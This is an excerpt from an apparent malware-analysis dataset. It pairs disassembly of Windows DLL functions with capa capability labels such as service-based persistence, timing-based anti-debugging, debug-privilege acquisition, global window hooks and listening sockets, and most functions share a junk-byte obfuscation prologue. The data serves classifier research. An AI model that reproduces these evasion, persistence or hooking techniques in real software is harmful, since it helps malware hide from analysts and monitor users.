joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100030cf
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x10002f72
xor byte [ecx], dh
xor bl, byte [eax - 0x48]
add dword [eax], eax
add byte [eax], al
pop eax
mov eax, 1
test eax, eax
je 0x10003155
mov dword [ebp - 8], 0
xor ecx, ecx
mov dword [ebp - 4], ecx
lea edx, [ebp - 8]
push edx
mov ecx, dword [ebp - 0xc]
add ecx, 0x70
call fcn.10005970
test eax, eax
jne 0x10002fa4
jmp 0x10003155
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x7532
ja 0x10002fe0
cmp dword [ebp - 0x10], 0x7532
je 0x10003111
mov ecx, dword [ebp - 0x10]
sub ecx, 0x1f41
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], 0x13
ja case.0x10002fd9.11
mov edx, dword [ebp - 0x10]
jmp dword [edx*4 + 0x10003161]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
sub dword [ebp - 0x14], 0x7534
cmp dword [ebp - 0x14], 0
je 0x1000311d
sub dword [ebp - 0x14], 1
cmp dword [ebp - 0x14], 0
je 0x1000312b
jmp case.0x10002fd9.11
mov ecx, dword [ebp - 4]
push ecx
push 0
push 0x10002720
call dword [sym.imp.msvcrt.dll__beginthread]
add esp, 0xc
jmp case.0x10002fd9.11
mov edx, dword [ebp - 4]
push edx
push 0
push 0x10002560
call dword [sym.imp.msvcrt.dll__beginthread]
add esp, 0xc
jmp case.0x10002fd9.11
mov eax, dword [ebp - 4]
push eax
push 0
push 0x100025e0
call dword [sym.imp.msvcrt.dll__beginthread]
add esp, 0xc
jmp case.0x10002fd9.11
mov ecx, dword [ebp - 4]
push ecx
push 0
push 0x10002660
call dword [sym.imp.msvcrt.dll__beginthread]
add esp, 0xc
jmp case.0x10002fd9.11
mov edx, dword [ebp - 4]
push edx
push 0
push 0x100027a0
call dword [sym.imp.msvcrt.dll__beginthread]
add esp, 0xc
jmp case.0x10002fd9.11
mov eax, dword [ebp - 4]
push eax
push 0
push 0x10002860
call dword [sym.imp.msvcrt.dll__beginthread]
add esp, 0xc
jmp case.0x10002fd9.11
mov ecx, dword [ebp - 8]
push ecx
push 0
push 0x100028e0
call dword [sym.imp.msvcrt.dll__beginthread]
add esp, 0xc
jmp case.0x10002fd9.11
mov edx, dword [ebp - 8]
push edx
push 0
push 0x10002a30
call dword [sym.imp.msvcrt.dll__beginthread]
add esp, 0xc
jmp case.0x10002fd9.11
mov eax, dword [ebp - 8]
push eax
push 0
push 0x10002af0
call dword [sym.imp.msvcrt.dll__beginthread]
add esp, 0xc
jmp case.0x10002fd9.11
mov ecx, dword [ebp - 8]
push ecx
push 0
push 0x10002c00
call dword [sym.imp.msvcrt.dll__beginthread]
add esp, 0xc
jmp case.0x10002fd9.11
mov edx, dword [ebp - 0xc]
push edx
push 0
push 0x10002cb0
call dword [sym.imp.msvcrt.dll__beginthread]
add esp, 0xc
jmp case.0x10002fd9.11
mov ecx, dword [ebp - 0xc]
call fcn.10002e30
xor eax, eax
jmp 0x1000315a
push 0
mov ecx, dword [ebp - 0xc]
call fcn.100037f0
xor eax, eax
jmp 0x1000315a
push 1
mov ecx, dword [ebp - 0xc]
call fcn.100037f0
xor eax, eax
jmp 0x1000315a
push 0
push 0
push 0
mov ecx, dword [ebp - 0xc]
add ecx, 0x70
call fcn.10004e80
test eax, eax
jne 0x10003150
jmp 0x10003155
jmp 0x10002f73
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100030e5
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x10002f72
xor byte [ecx], dh
xor bl, byte [eax - 0x48]
add dword [eax], eax
add byte [eax], al
pop eax
mov eax, 1
test eax, eax
je 0x10003155
mov dword [ebp - 8], 0
xor ecx, ecx
mov dword [ebp - 4], ecx
lea edx, [ebp - 8]
push edx
mov ecx, dword [ebp - 0xc]
add ecx, 0x70
call fcn.10005970
test eax, eax
jne 0x10002fa4
jmp 0x10003155
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x7532
ja 0x10002fe0
cmp dword [ebp - 0x10], 0x7532
je 0x10003111
mov ecx, dword [ebp - 0x10]
sub ecx, 0x1f41
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], 0x13
ja case.0x10002fd9.11
mov edx, dword [ebp - 0x10]
jmp dword [edx*4 + 0x10003161]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
sub dword [ebp - 0x14], 0x7534
cmp dword [ebp - 0x14], 0
je 0x1000311d
sub dword [ebp - 0x14], 1
cmp dword [ebp - 0x14], 0
je 0x1000312b
jmp case.0x10002fd9.11
mov ecx, dword [ebp - 4]
push ecx
push 0
push 0x10002720
call dword [sym.imp.msvcrt.dll__beginthread]
add esp, 0xc
jmp case.0x10002fd9.11
mov edx, dword [ebp - 4]
push edx
push 0
push 0x10002560
call dword [sym.imp.msvcrt.dll__beginthread]
add esp, 0xc
jmp case.0x10002fd9.11
mov eax, dword [ebp - 4]
push eax
push 0
push 0x100025e0
call dword [sym.imp.msvcrt.dll__beginthread]
add esp, 0xc
jmp case.0x10002fd9.11
mov ecx, dword [ebp - 4]
push ecx
push 0
push 0x10002660
call dword [sym.imp.msvcrt.dll__beginthread]
add esp, 0xc
jmp case.0x10002fd9.11
mov edx, dword [ebp - 4]
push edx
push 0
push 0x100027a0
call dword [sym.imp.msvcrt.dll__beginthread]
add esp, 0xc
jmp case.0x10002fd9.11
mov eax, dword [ebp - 4]
push eax
push 0
push 0x10002860
call dword [sym.imp.msvcrt.dll__beginthread]
add esp, 0xc
jmp case.0x10002fd9.11
mov ecx, dword [ebp - 8]
push ecx
push 0
push 0x100028e0
call dword [sym.imp.msvcrt.dll__beginthread]
add esp, 0xc
jmp case.0x10002fd9.11
mov edx, dword [ebp - 8]
push edx
push 0
push 0x10002a30
call dword [sym.imp.msvcrt.dll__beginthread]
add esp, 0xc
jmp case.0x10002fd9.11
mov eax, dword [ebp - 8]
push eax
push 0
push 0x10002af0
call dword [sym.imp.msvcrt.dll__beginthread]
add esp, 0xc
jmp case.0x10002fd9.11
mov ecx, dword [ebp - 8]
push ecx
push 0
push 0x10002c00
call dword [sym.imp.msvcrt.dll__beginthread]
add esp, 0xc
jmp case.0x10002fd9.11
mov edx, dword [ebp - 0xc]
push edx
push 0
push 0x10002cb0
call dword [sym.imp.msvcrt.dll__beginthread]
add esp, 0xc
jmp case.0x10002fd9.11
mov ecx, dword [ebp - 0xc]
call fcn.10002e30
xor eax, eax
jmp 0x1000315a
push 0
mov ecx, dword [ebp - 0xc]
call fcn.100037f0
xor eax, eax
jmp 0x1000315a
push 1
mov ecx, dword [ebp - 0xc]
call fcn.100037f0
xor eax, eax
jmp 0x1000315a
push 0
push 0
push 0
mov ecx, dword [ebp - 0xc]
add ecx, 0x70
call fcn.10004e80
test eax, eax
jne 0x10003150
jmp 0x10003155
jmp 0x10002f73
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100030fb
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x10002f72
xor byte [ecx], dh
xor bl, byte [eax - 0x48]
add dword [eax], eax
add byte [eax], al
pop eax
mov eax, 1
test eax, eax
je 0x10003155
mov dword [ebp - 8], 0
xor ecx, ecx
mov dword [ebp - 4], ecx
lea edx, [ebp - 8]
push edx
mov ecx, dword [ebp - 0xc]
add ecx, 0x70
call fcn.10005970
test eax, eax
jne 0x10002fa4
jmp 0x10003155
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x7532
ja 0x10002fe0
cmp dword [ebp - 0x10], 0x7532
je 0x10003111
mov ecx, dword [ebp - 0x10]
sub ecx, 0x1f41
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], 0x13
ja case.0x10002fd9.11
mov edx, dword [ebp - 0x10]
jmp dword [edx*4 + 0x10003161]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
sub dword [ebp - 0x14], 0x7534
cmp dword [ebp - 0x14], 0
je 0x1000311d
sub dword [ebp - 0x14], 1
cmp dword [ebp - 0x14], 0
je 0x1000312b
jmp case.0x10002fd9.11
mov ecx, dword [ebp - 4]
push ecx
push 0
push 0x10002720
call dword [sym.imp.msvcrt.dll__beginthread]
add esp, 0xc
jmp case.0x10002fd9.11
mov edx, dword [ebp - 4]
push edx
push 0
push 0x10002560
call dword [sym.imp.msvcrt.dll__beginthread]
add esp, 0xc
jmp case.0x10002fd9.11
mov eax, dword [ebp - 4]
push eax
push 0
push 0x100025e0
call dword [sym.imp.msvcrt.dll__beginthread]
add esp, 0xc
jmp case.0x10002fd9.11
mov ecx, dword [ebp - 4]
push ecx
push 0
push 0x10002660
call dword [sym.imp.msvcrt.dll__beginthread]
add esp, 0xc
jmp case.0x10002fd9.11
mov edx, dword [ebp - 4]
push edx
push 0
push 0x100027a0
call dword [sym.imp.msvcrt.dll__beginthread]
add esp, 0xc
jmp case.0x10002fd9.11
mov eax, dword [ebp - 4]
push eax
push 0
push 0x10002860
call dword [sym.imp.msvcrt.dll__beginthread]
add esp, 0xc
jmp case.0x10002fd9.11
mov ecx, dword [ebp - 8]
push ecx
push 0
push 0x100028e0
call dword [sym.imp.msvcrt.dll__beginthread]
add esp, 0xc
jmp case.0x10002fd9.11
mov edx, dword [ebp - 8]
push edx
push 0
push 0x10002a30
call dword [sym.imp.msvcrt.dll__beginthread]
add esp, 0xc
jmp case.0x10002fd9.11
mov eax, dword [ebp - 8]
push eax
push 0
push 0x10002af0
call dword [sym.imp.msvcrt.dll__beginthread]
add esp, 0xc
jmp case.0x10002fd9.11
mov ecx, dword [ebp - 8]
push ecx
push 0
push 0x10002c00
call dword [sym.imp.msvcrt.dll__beginthread]
add esp, 0xc
jmp case.0x10002fd9.11
mov edx, dword [ebp - 0xc]
push edx
push 0
push 0x10002cb0
call dword [sym.imp.msvcrt.dll__beginthread]
add esp, 0xc
jmp case.0x10002fd9.11
mov ecx, dword [ebp - 0xc]
call fcn.10002e30
xor eax, eax
jmp 0x1000315a
push 0
mov ecx, dword [ebp - 0xc]
call fcn.100037f0
xor eax, eax
jmp 0x1000315a
push 1
mov ecx, dword [ebp - 0xc]
call fcn.100037f0
xor eax, eax
jmp 0x1000315a
push 0
push 0
push 0
mov ecx, dword [ebp - 0xc]
add ecx, 0x70
call fcn.10004e80
test eax, eax
jne 0x10003150
jmp 0x10003155
jmp 0x10002f73
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100031c0
Capabilities:
Create service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x100031e2
xor byte [ecx], dh
xor bl, byte [eax + 0x6a]
add byte [edx], ch
pop eax
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 0x10]
push eax
push 1
push 2
push 1
push 0xf01ff
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.advapi32.dll_CreateServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1000321b
xor eax, eax
jmp 0x1000322a
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.advapi32.dll_CloseServiceHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x10003350
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
mov dword [ebp - 0x28], ecx
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x10003372
xor byte [ecx], dh
xor bl, byte [eax + 0x68]
inc dword [ecx]
str word [ebx - 0x74aff3bb]
dec ebp
or byte [ecx - 1], dl
adc eax, sym.imp.advapi32.dll_OpenServiceA
pop eax
push 0xf01ff
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.advapi32.dll_OpenServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10003393
xor eax, eax
jmp 0x100033b3
lea edx, [ebp - 0x20]
push edx
push 1
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.advapi32.dll_ControlService]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.advapi32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x24]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10005eb0
Capabilities:
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x10005ecf
xor byte [ecx], dh
xor bl, byte [eax - 0x39]
inc ebp
clc
add byte [esi + 5], bl
pop eax
mov dword [ebp - 8], 0x5265c00
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov word [ebp - 0x18], 2
mov cx, word [ebp + 8]
push ecx
call dword [sym.imp.ws2_32.dll__htons]
mov word [ebp - 0x16], ax
push 0
push 1
push 2
call dword [sym.imp.ws2_32.dll__socket]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x10005f16
xor eax, eax
jmp 0x10005fb8
push 0x10
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ws2_32.dll__bind]
cmp eax, 0xffffffff
jne 0x10005f39
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ws2_32.dll__closesocket]
xor eax, eax
jmp 0x10005fb8
push 4
lea edx, [ebp - 8]
push edx
push 0x1005
push 0xffff
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ws2_32.dll__setsockopt]
cmp eax, 0xffffffff
jne 0x10005f66
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ws2_32.dll__closesocket]
xor eax, eax
jmp 0x10005fb8
push 4
lea edx, [ebp - 8]
push edx
push 0x1006
push 0xffff
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ws2_32.dll__setsockopt]
cmp eax, 0xffffffff
jne 0x10005f93
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ws2_32.dll__closesocket]
xor eax, eax
jmp 0x10005fb8
push 0x7fffffff
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ws2_32.dll__listen]
cmp eax, 0xffffffff
jne 0x10005fb5
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ws2_32.dll__closesocket]
xor eax, eax
jmp 0x10005fb8
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100062c0
Capabilities:
Check for time delay via queryperformancecounter
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
mov dword [ebp - 0x2c], ecx
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x100062e2
xor byte [ecx], dh
xor bl, byte [eax - 1]
adc eax, sym.imp.kernel32.dll_GetCurrentProcess
pop eax
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_GetPriorityClass]
mov dword [ebp - 0x14], eax
call dword [sym.imp.kernel32.dll_GetCurrentThread]
push eax
call dword [sym.imp.kernel32.dll_GetThreadPriority]
mov dword [ebp - 0x20], eax
push 0x100
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_SetPriorityClass]
push 0xf
call dword [sym.imp.kernel32.dll_GetCurrentThread]
push eax
call dword [sym.imp.kernel32.dll_SetThreadPriority]
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.kernel32.dll_QueryPerformanceFrequency]
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.kernel32.dll_QueryPerformanceCounter]
push 0
push 0x10
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp - 0x28]
push eax
call fcn.10011870
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
mov ecx, dword [ebp - 0x28]
add ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x24]
adc edx, dword [ebp - 0xc]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], edx
rdtsc
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x24]
jg 0x10006387
jl 0x1000637b
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0x28]
jae 0x10006387
lea edx, [ebp - 0x10]
push edx
call dword [sym.imp.kernel32.dll_QueryPerformanceCounter]
jmp 0x10006369
rdtsc
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.kernel32.dll_GetCurrentThread]
push eax
call dword [sym.imp.kernel32.dll_SetThreadPriority]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_SetPriorityClass]
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 8]
mov eax, dword [ebp - 0x18]
sbb eax, dword [ebp - 4]
push 0
push 0xf424
push eax
push edx
call fcn.10011870
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10008fc0
Capabilities:
Create thread
Set global application hook

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
nop
xor eax, eax
je 0x10008fdf
nop
nop
nop
xor byte [ecx], dh
xor bl, byte [eax + 0x6a]
add byte [edx], ch
pop eax
push 0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateMutexA]
mov dword [0x100145b8], eax
push 0
push 0
push 1
push 0
call dword [sym.imp.kernel32.dll_CreateEventA]
mov dword [0x100145bc], eax
push 0
push 0
push 0x10009600
call dword [sym.imp.msvcrt.dll__beginthread]
add esp, 0xc
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.user32.dll_GetThreadDesktop]
mov dword [ebp - 8], eax
push 0x2000000
push 0
push 0
push 0x10014394
call dword [sym.imp.user32.dll_OpenDesktopA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1000904d
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.user32.dll_SetThreadDesktop]
cmp dword [0x10015c10], 0
jne 0x10009071
push 0
mov ecx, dword [0x10014774]
push ecx
push 0x10008c60
push 4
call dword [sym.imp.user32.dll_SetWindowsHookExW]
mov dword [0x10015c10], eax
cmp dword [0x10015c0c], 0
jne 0x10009095
push 0
mov edx, dword [0x10014774]
push edx
push 0x10008b80
push 3
call dword [sym.imp.user32.dll_SetWindowsHookExW]
mov dword [0x10015c0c], eax
push 0x2000000
push 0
push 0
push 0x10014328
call dword [sym.imp.user32.dll_OpenDesktopA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x100090bc
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.user32.dll_SetThreadDesktop]
cmp dword [0x10015c14], 0
jne 0x100090e0
push 0
mov ecx, dword [0x10014774]
push ecx
push 0x10008e70
push 3
call dword [sym.imp.user32.dll_SetWindowsHookExW]
mov dword [0x10015c14], eax
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.user32.dll_SetThreadDesktop]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10009100
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
nop
je 0x1000911f
nop
nop
nop
xor byte [ecx], dh
xor bl, byte [eax + 0x6a]
add byte [eax - 0x80], ch
add byte [eax], al
add byte [edx + 4], ch
pop eax
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.kernel32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x10009149
xor eax, eax
jmp 0x10009191
push 2
push 0
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.kernel32.dll_SetFilePointer]
mov dword [ebp - 4], 0
push 0
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.kernel32.dll_WriteFile]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.kernel32.dll_FlushFileBuffers]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10009f40
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x10009f62
xor byte [ecx], dh
xor bl, byte [eax - 0x39]
inc ebp
cld
add byte [eax], al
add byte [eax], al
pop eax
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10009f93
xor eax, eax
jmp 0x1000a026
mov byte [ebp - 0x10c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x110], 0x104
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x10c]
push ecx
push 0
push 0
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10009fed
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.advapi32.dll_RegCloseKey]
xor eax, eax
jmp 0x1000a026
mov ecx, dword [ebp - 0x110]
lea esi, [ebp - 0x10c]
mov edi, dword [ebp + 0x14]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.advapi32.dll_RegCloseKey]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000a021
xor eax, eax
jmp 0x1000a026
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000a0d0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x1000a0ef
xor byte [ecx], dh
xor bl, byte [eax - 0x73]
inc ebp
in al, dx
pop eax
lea eax, [ebp - 0x14]
push eax
push 0x28
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.advapi32.dll_OpenProcessToken]
lea ecx, [ebp - 0xc]
push ecx
push 0x1001443c
push 0
call dword [sym.imp.advapi32.dll_LookupPrivilegeValueA]
mov dword [ebp - 0x10], 1
mov dword [ebp - 4], 2
push 0
push 0
push 0
lea edx, [ebp - 0x10]
push edx
push 0
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.advapi32.dll_AdjustTokenPrivileges]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000a200
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x1000a21f
xor byte [ecx], dh
xor bl, byte [eax + 0x6a]
add byte [eax - 0x80], ch
add byte [eax], al
add byte [edx + 3], ch
pop eax
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.kernel32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x1000a249
xor eax, eax
jmp 0x1000a277
mov dword [ebp - 4], 0
push 0
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.kernel32.dll_ReadFile]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000a280
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x1000a29f
xor byte [ecx], dh
xor bl, byte [eax - 0x75]
inc ebp
or byte [eax - 1], dl
adc eax, sym.imp.kernel32.dll_DeleteFileA
pop eax
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.kernel32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x1000a2d3
xor eax, eax
jmp 0x1000a301
mov dword [ebp - 4], 0
push 0
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.kernel32.dll_WriteFile]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000a430
Capabilities:
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x1000a44f
xor byte [ecx], dh
xor bl, byte [eax + 0x68]
aas
add byte [edi], cl
add byte [edx], ch
pop eax
push 0xf003f
push 0
push 0
call dword [sym.imp.advapi32.dll_OpenSCManagerA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x1000a46a
jmp 0x1000a4b4
push 0xf01ff
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.advapi32.dll_OpenServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1000a492
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.advapi32.dll_CloseServiceHandle]
jmp 0x1000a4b4
push 0
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.advapi32.dll_StartServiceA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.advapi32.dll_CloseServiceHandle]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.advapi32.dll_CloseServiceHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret